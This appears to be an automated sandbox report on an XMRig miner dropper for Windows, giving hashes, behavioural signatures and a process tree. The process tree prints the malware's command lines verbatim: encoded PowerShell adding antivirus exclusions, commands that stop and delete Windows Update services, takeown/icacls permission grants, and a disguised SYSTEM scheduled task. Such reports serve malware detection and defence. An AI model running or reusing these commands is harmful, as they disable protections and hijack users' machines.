Analysis
-
max time kernel
298s -
max time network
303s -
platform
windows10_x64 -
resource
win10-20220414-en -
submitted
14-05-2022 22:15
Static task
static1
Behavioral task
behavioral1
Sample
a4b172b6d8cea90214cccec4a531c881b5bad6b641370e838a09422a183f7301.exe
Resource
win7-20220414-en
General
-
Target
a4b172b6d8cea90214cccec4a531c881b5bad6b641370e838a09422a183f7301.exe
-
Size
7.6MB
-
MD5
95104aa61ed30687c13e5c644d5722f3
-
SHA1
f9788f808044d448f73203d93da0021cefb781ff
-
SHA256
a4b172b6d8cea90214cccec4a531c881b5bad6b641370e838a09422a183f7301
-
SHA512
99dcd2463ad6c56eaeedbdd96c8ff0564aadb27b14f0ce047397e8791f1d886d07d104d76908e2ed7e3918c35ca52e643c1d02ed8bde16c76d18dc40b9b66bce
Malware Config
Signatures
-
Modifies security service 2 TTPs 5 IoCs
Processes:
reg.exedescription ioc process Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0 reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1 reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters reg.exe -
XMRig Miner Payload 5 IoCs
Processes:
resource yara_rule behavioral2/memory/2640-395-0x0000000140000000-0x0000000140803000-memory.dmp xmrig behavioral2/memory/2640-396-0x000000014036DB84-mapping.dmp xmrig behavioral2/memory/2640-397-0x0000000140000000-0x0000000140803000-memory.dmp xmrig behavioral2/memory/2640-398-0x0000000140000000-0x0000000140803000-memory.dmp xmrig behavioral2/memory/2640-402-0x0000000140000000-0x0000000140803000-memory.dmp xmrig -
Executes dropped EXE 1 IoCs
Processes:
services.exepid process 3352 services.exe -
Possible privilege escalation attempt 4 IoCs
Processes:
icacls.exetakeown.exeicacls.exetakeown.exepid process 2596 icacls.exe 504 takeown.exe 2772 icacls.exe 3700 takeown.exe -
Stops running service(s) 3 TTPs
-
Modifies file permissions 1 TTPs 4 IoCs
Processes:
takeown.exeicacls.exetakeown.exeicacls.exepid process 504 takeown.exe 2772 icacls.exe 3700 takeown.exe 2596 icacls.exe -
Drops file in System32 directory 3 IoCs
Processes:
conhost.exepowershell.exedescription ioc process File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\conhost.exe.log conhost.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
Processes:
conhost.exedescription pid process target process PID 2472 set thread context of 3344 2472 conhost.exe conhost.exe PID 2472 set thread context of 2640 2472 conhost.exe svchost.exe -
Drops file in Program Files directory 3 IoCs
Processes:
conhost.execonhost.exedescription ioc process File created C:\Program Files\Windows\services.exe conhost.exe File opened for modification C:\Program Files\Windows\services.exe conhost.exe File created C:\Program Files\Google\Libs\WR64.sys conhost.exe -
Launches sc.exe
Sc.exe is a Windows utlilty to control services on the system.
-
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Modifies data under HKEY_USERS 52 IoCs
Processes:
powershell.execonhost.exedescription ioc process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" conhost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" conhost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ conhost.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" conhost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" conhost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe -
Modifies registry key 1 TTPs 18 IoCs
Processes:
reg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exepid process 1636 reg.exe 1848 reg.exe 868 reg.exe 1352 reg.exe 2780 reg.exe 3360 reg.exe 3168 reg.exe 2068 reg.exe 2168 reg.exe 3884 reg.exe 704 reg.exe 3732 reg.exe 3192 reg.exe 408 reg.exe 3400 reg.exe 504 reg.exe 2164 reg.exe 2840 reg.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
powershell.execonhost.exepowershell.execonhost.exesvchost.exepid process 1540 powershell.exe 1540 powershell.exe 1540 powershell.exe 1164 conhost.exe 2232 powershell.exe 2232 powershell.exe 2232 powershell.exe 2472 conhost.exe 2640 svchost.exe 2640 svchost.exe 2640 svchost.exe 2640 svchost.exe 2640 svchost.exe 2640 svchost.exe 2640 svchost.exe 2640 svchost.exe 2640 svchost.exe 2640 svchost.exe 2640 svchost.exe 2640 svchost.exe 2640 svchost.exe 2640 svchost.exe 2640 svchost.exe 2640 svchost.exe 2640 svchost.exe 2640 svchost.exe 2640 svchost.exe 2640 svchost.exe 2640 svchost.exe 2640 svchost.exe 2640 svchost.exe 2640 svchost.exe 2640 svchost.exe 2640 svchost.exe 2640 svchost.exe 2640 svchost.exe 2640 svchost.exe 2640 svchost.exe 2640 svchost.exe 2640 svchost.exe 2640 svchost.exe 2640 svchost.exe 2640 svchost.exe 2640 svchost.exe 2640 svchost.exe 2640 svchost.exe 2640 svchost.exe 2640 svchost.exe 2640 svchost.exe 2640 svchost.exe 2640 svchost.exe 2640 svchost.exe 2640 svchost.exe 2640 svchost.exe 2640 svchost.exe 2640 svchost.exe 2640 svchost.exe 2640 svchost.exe 2640 svchost.exe 2640 svchost.exe 2640 svchost.exe 2640 svchost.exe 2640 svchost.exe 2640 svchost.exe -
Suspicious behavior: LoadsDriver 1 IoCs
Processes:
pid process 632 -
Suspicious use of AdjustPrivilegeToken 41 IoCs
Processes:
powershell.execonhost.exetakeown.exepowershell.execonhost.exetakeown.exesvchost.exedescription pid process Token: SeDebugPrivilege 1540 powershell.exe Token: SeIncreaseQuotaPrivilege 1540 powershell.exe Token: SeSecurityPrivilege 1540 powershell.exe Token: SeTakeOwnershipPrivilege 1540 powershell.exe Token: SeLoadDriverPrivilege 1540 powershell.exe Token: SeSystemProfilePrivilege 1540 powershell.exe Token: SeSystemtimePrivilege 1540 powershell.exe Token: SeProfSingleProcessPrivilege 1540 powershell.exe Token: SeIncBasePriorityPrivilege 1540 powershell.exe Token: SeCreatePagefilePrivilege 1540 powershell.exe Token: SeBackupPrivilege 1540 powershell.exe Token: SeRestorePrivilege 1540 powershell.exe Token: SeShutdownPrivilege 1540 powershell.exe Token: SeDebugPrivilege 1540 powershell.exe Token: SeSystemEnvironmentPrivilege 1540 powershell.exe Token: SeRemoteShutdownPrivilege 1540 powershell.exe Token: SeUndockPrivilege 1540 powershell.exe Token: SeManageVolumePrivilege 1540 powershell.exe Token: 33 1540 powershell.exe Token: 34 1540 powershell.exe Token: 35 1540 powershell.exe Token: 36 1540 powershell.exe Token: SeDebugPrivilege 1164 conhost.exe Token: SeTakeOwnershipPrivilege 504 takeown.exe Token: SeDebugPrivilege 2232 powershell.exe Token: SeAssignPrimaryTokenPrivilege 2232 powershell.exe Token: SeIncreaseQuotaPrivilege 2232 powershell.exe Token: SeSecurityPrivilege 2232 powershell.exe Token: SeTakeOwnershipPrivilege 2232 powershell.exe Token: SeLoadDriverPrivilege 2232 powershell.exe Token: SeSystemtimePrivilege 2232 powershell.exe Token: SeBackupPrivilege 2232 powershell.exe Token: SeRestorePrivilege 2232 powershell.exe Token: SeShutdownPrivilege 2232 powershell.exe Token: SeSystemEnvironmentPrivilege 2232 powershell.exe Token: SeUndockPrivilege 2232 powershell.exe Token: SeManageVolumePrivilege 2232 powershell.exe Token: SeDebugPrivilege 2472 conhost.exe Token: SeTakeOwnershipPrivilege 3700 takeown.exe Token: SeLockMemoryPrivilege 2640 svchost.exe Token: SeLockMemoryPrivilege 2640 svchost.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
a4b172b6d8cea90214cccec4a531c881b5bad6b641370e838a09422a183f7301.execonhost.execmd.execmd.execmd.execmd.exeservices.exedescription pid process target process PID 2428 wrote to memory of 1164 2428 a4b172b6d8cea90214cccec4a531c881b5bad6b641370e838a09422a183f7301.exe conhost.exe PID 2428 wrote to memory of 1164 2428 a4b172b6d8cea90214cccec4a531c881b5bad6b641370e838a09422a183f7301.exe conhost.exe PID 2428 wrote to memory of 1164 2428 a4b172b6d8cea90214cccec4a531c881b5bad6b641370e838a09422a183f7301.exe conhost.exe PID 1164 wrote to memory of 3888 1164 conhost.exe cmd.exe PID 1164 wrote to memory of 3888 1164 conhost.exe cmd.exe PID 3888 wrote to memory of 1540 3888 cmd.exe powershell.exe PID 3888 wrote to memory of 1540 3888 cmd.exe powershell.exe PID 1164 wrote to memory of 2740 1164 conhost.exe cmd.exe PID 1164 wrote to memory of 2740 1164 conhost.exe cmd.exe PID 2740 wrote to memory of 2148 2740 cmd.exe sc.exe PID 2740 wrote to memory of 2148 2740 cmd.exe sc.exe PID 2740 wrote to memory of 316 2740 cmd.exe sc.exe PID 2740 wrote to memory of 316 2740 cmd.exe sc.exe PID 2740 wrote to memory of 208 2740 cmd.exe sc.exe PID 2740 wrote to memory of 208 2740 cmd.exe sc.exe PID 2740 wrote to memory of 3120 2740 cmd.exe sc.exe PID 2740 wrote to memory of 3120 2740 cmd.exe sc.exe PID 2740 wrote to memory of 2460 2740 cmd.exe sc.exe PID 2740 wrote to memory of 2460 2740 cmd.exe sc.exe PID 2740 wrote to memory of 1636 2740 cmd.exe reg.exe PID 2740 wrote to memory of 1636 2740 cmd.exe reg.exe PID 2740 wrote to memory of 1848 2740 cmd.exe reg.exe PID 2740 wrote to memory of 1848 2740 cmd.exe reg.exe PID 2740 wrote to memory of 3168 2740 cmd.exe reg.exe PID 2740 wrote to memory of 3168 2740 cmd.exe reg.exe PID 2740 wrote to memory of 408 2740 cmd.exe reg.exe PID 2740 wrote to memory of 408 2740 cmd.exe reg.exe PID 2740 wrote to memory of 868 2740 cmd.exe reg.exe PID 2740 wrote to memory of 868 2740 cmd.exe reg.exe PID 2740 wrote to memory of 504 2740 cmd.exe takeown.exe PID 2740 wrote to memory of 504 2740 cmd.exe takeown.exe PID 1164 wrote to memory of 488 1164 conhost.exe cmd.exe PID 1164 wrote to memory of 488 1164 conhost.exe cmd.exe PID 2740 wrote to memory of 2772 2740 cmd.exe icacls.exe PID 2740 wrote to memory of 2772 2740 cmd.exe icacls.exe PID 488 wrote to memory of 2624 488 cmd.exe schtasks.exe PID 488 wrote to memory of 2624 488 cmd.exe schtasks.exe PID 2740 wrote to memory of 2068 2740 cmd.exe reg.exe PID 2740 wrote to memory of 2068 2740 cmd.exe reg.exe PID 2740 wrote to memory of 2168 2740 cmd.exe reg.exe PID 2740 wrote to memory of 2168 2740 cmd.exe reg.exe PID 2740 wrote to memory of 3884 2740 cmd.exe reg.exe PID 2740 wrote to memory of 3884 2740 cmd.exe reg.exe PID 2740 wrote to memory of 1352 2740 cmd.exe reg.exe PID 2740 wrote to memory of 1352 2740 cmd.exe reg.exe PID 2740 wrote to memory of 3192 2740 cmd.exe schtasks.exe PID 2740 wrote to memory of 3192 2740 cmd.exe schtasks.exe PID 2740 wrote to memory of 3532 2740 cmd.exe schtasks.exe PID 2740 wrote to memory of 3532 2740 cmd.exe schtasks.exe PID 2740 wrote to memory of 1160 2740 cmd.exe schtasks.exe PID 2740 wrote to memory of 1160 2740 cmd.exe schtasks.exe PID 2740 wrote to memory of 1652 2740 cmd.exe schtasks.exe PID 2740 wrote to memory of 1652 2740 cmd.exe schtasks.exe PID 2740 wrote to memory of 2492 2740 cmd.exe schtasks.exe PID 2740 wrote to memory of 2492 2740 cmd.exe schtasks.exe PID 2740 wrote to memory of 1256 2740 cmd.exe schtasks.exe PID 2740 wrote to memory of 1256 2740 cmd.exe schtasks.exe PID 2740 wrote to memory of 2704 2740 cmd.exe schtasks.exe PID 2740 wrote to memory of 2704 2740 cmd.exe schtasks.exe PID 1164 wrote to memory of 3492 1164 conhost.exe cmd.exe PID 1164 wrote to memory of 3492 1164 conhost.exe cmd.exe PID 3492 wrote to memory of 500 3492 cmd.exe schtasks.exe PID 3492 wrote to memory of 500 3492 cmd.exe schtasks.exe PID 3352 wrote to memory of 2472 3352 services.exe conhost.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\a4b172b6d8cea90214cccec4a531c881b5bad6b641370e838a09422a183f7301.exe"C:\Users\Admin\AppData\Local\Temp\a4b172b6d8cea90214cccec4a531c881b5bad6b641370e838a09422a183f7301.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\conhost.exe"C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\a4b172b6d8cea90214cccec4a531c881b5bad6b641370e838a09422a183f7301.exe"2⤵
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd /c powershell -EncodedCommand "PAAjAGUAYQB1AGMAIwA+ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgADwAIwBkAGgAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAeQByAG8AIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAYQBqAGYAYQAjAD4A"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -EncodedCommand "PAAjAGUAYQB1AGMAIwA+ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgADwAIwBkAGgAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAeQByAG8AIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAYQBqAGYAYQAjAD4A"4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f & takeown /f %SystemRoot%\System32\WaaSMedicSvc.dll & icacls %SystemRoot%\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q & rename %SystemRoot%\System32\WaaSMedicSvc.dll WaaSMedicSvc_BAK.dll & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\sc.exesc stop UsoSvc4⤵
-
C:\Windows\system32\sc.exesc stop WaaSMedicSvc4⤵
-
C:\Windows\system32\sc.exesc stop wuauserv4⤵
-
C:\Windows\system32\sc.exesc stop bits4⤵
-
C:\Windows\system32\sc.exesc stop dosvc4⤵
-
C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f4⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f4⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f4⤵
- Modifies security service
- Modifies registry key
-
C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f4⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f4⤵
- Modifies registry key
-
C:\Windows\system32\takeown.exetakeown /f C:\Windows\System32\WaaSMedicSvc.dll4⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\icacls.exeicacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q4⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
C:\Windows\system32\reg.exereg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f4⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f4⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f4⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f4⤵
- Modifies registry key
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE4⤵
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE4⤵
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE4⤵
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE4⤵
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE4⤵
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE4⤵
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE4⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd /c schtasks /create /f /sc onlogon /rl highest /ru "System" /tn "GoogleUpdateTaskMachineQC" /tr "C:\Program Files\Windows\services.exe"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc onlogon /rl highest /ru "System" /tn "GoogleUpdateTaskMachineQC" /tr "C:\Program Files\Windows\services.exe"4⤵
- Creates scheduled task(s)
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd /c schtasks /run /tn "GoogleUpdateTaskMachineQC"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exeschtasks /run /tn "GoogleUpdateTaskMachineQC"4⤵
-
C:\Program Files\Windows\services.exe"C:\Program Files\Windows\services.exe"1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\conhost.exe"C:\Windows\System32\conhost.exe" "C:\Program Files\Windows\services.exe"2⤵
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd /c powershell -EncodedCommand "PAAjAGUAYQB1AGMAIwA+ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgADwAIwBkAGgAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAeQByAG8AIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAYQBqAGYAYQAjAD4A"3⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -EncodedCommand "PAAjAGUAYQB1AGMAIwA+ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgADwAIwBkAGgAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAeQByAG8AIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAYQBqAGYAYQAjAD4A"4⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f & takeown /f %SystemRoot%\System32\WaaSMedicSvc.dll & icacls %SystemRoot%\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q & rename %SystemRoot%\System32\WaaSMedicSvc.dll WaaSMedicSvc_BAK.dll & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE & SCHTASKS /Change /TN 